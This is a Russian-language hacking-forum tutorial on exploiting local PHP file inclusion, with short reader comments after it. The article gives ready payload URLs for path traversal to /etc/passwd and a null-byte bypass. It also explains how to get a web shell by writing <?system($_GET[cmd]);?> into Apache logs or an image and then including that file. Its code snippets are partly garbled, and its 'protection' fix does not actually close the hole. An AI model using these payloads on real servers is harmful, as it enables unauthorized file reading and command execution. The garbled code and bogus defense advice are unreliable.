![]() |
Локальные Php Иньекции
0.Введение
В это статье я расскажу о том как пользоваться локальной пхп иньекцией. Некоторые считают, что это бесполезный тип атаки, однако это не так, с ее помощью можно узнать много ПОЛЕЗНОЙ информации, которая поможет в процессе взлома, а в не которых случаях даже получить шелл. 1. Поехали! Для начала давайте рассмотрим кусок уязвимого кода: Код:
<?php идет к вебфайлу, несмотря на это очень часто можно встретить этот код в сети. Предположим, что есть веб сервер с папкой include, в который лежит сраница main.php, мы можем попасть на нее так: Код:
http://webserver.ru/inc/main.phpв корневой директории сервера, то можно сделать так: Код:
http://webserver.ru/index.php?page=test/main.phpто подгрузить main.php можно так: Код:
http://webserver.ru/test/krevedko/index.php?page=../main.php./ - папка в которой находиться скрипт 2. Глазами хакера Что ж теперь, когда мы знаем как это выглядит, давайте попробуем использовать это в своих целях. Например, если машина стоит на *nix, можно прочитать файл с паролями, для это надо сделать нечто подобное: Код:
http://webserver.ru/index.php?page=../../../../../etc/passwdприблизительно такое: Код:
user:ghjERIOmm23rt:305:100:UserName:/home/user:/bin/shКод:
username: passwd:UID:GID:full_name:directory:shelletc/shadow, который доступен только root, так что врятли вы его прочтете. Здесь не много мест, куда следует сходить Код:
/etc/passwd 3. Не все так гладко на нашем пути Не много подумав, можно себе представить такой код Код:
PHP Code: Код:
http://webserver.ru/index.php?page=../../../../../etc/passwdтак что здесь нам в помощь идет NULL byte или ядовитый ноль, после такого байта сервер игнорирует, то что идет дальше, так что код выглядит так: Код:
http://webserver.ru/index.php?page=../../../../../etc/passwd%004. А как же веб шелл ? А вот так, мы попробуем записать php код в логи http демона и заинклудить их, вопрос лишь в том где они? Я вам дам пару путей возможного их нахождения: Код:
../apache/logs/error.log что бы этим воспользоваться достаточно обратиться скажем к такому файлу http://webserver/<?system($_GET[cmd]);?> и наш php код (<?system($_GET[cmd]);?>) будет записан в эти логи, дальше с помощью локальной php инькции мы подгрузим лог и выполним команду, но ваш браузер может переделать код в такой вид: Код:
%3C?%20system(\$_GET[cmd])%20?>или написать скрипт, который будет все делать сам. Так же шел можно залить с помощью картинки Вставляем в каритинку php код, заливаем на сервер и с помощью иньекции инклудим ее, результат работы скрипта в картинке должен быть выведен на экран. 5. Пару слов о защите. Иногда приходиться самому писать движок и в некоторых случаях приходиться использовать этот бажный кусок, но как же защитить свой сайт от злостных хакеров? для этого стоит добавить вот такую конструкцию после бажной части: Код:
if(!isset($_GET["page"]))exit;6. Заключение Это все что я хотел рассказать вам локальных php иньекциях, не делайте сами таких ошибок, карайте тех кто их делает, всем удачи. |
Цитата:
мда.. Цитата:
|
http://forum.antichat.ru/thread23501.html - здесь просто нечего добавить...
Автору + за старания, но это не очень сильно... |
Цитата:
Цитата:
зы статья не раскрыта и на 50% незачет |
это не практично
|
тема в данном случае мало понятна для новичка и не раскрыта !!!афтаору + за старания
|
спс, мен что оформил, а то в *.txt неудобно и впадлу мне было читать.
СПС! |
У задохлика статья лучше была
|
| Время: 18:52 |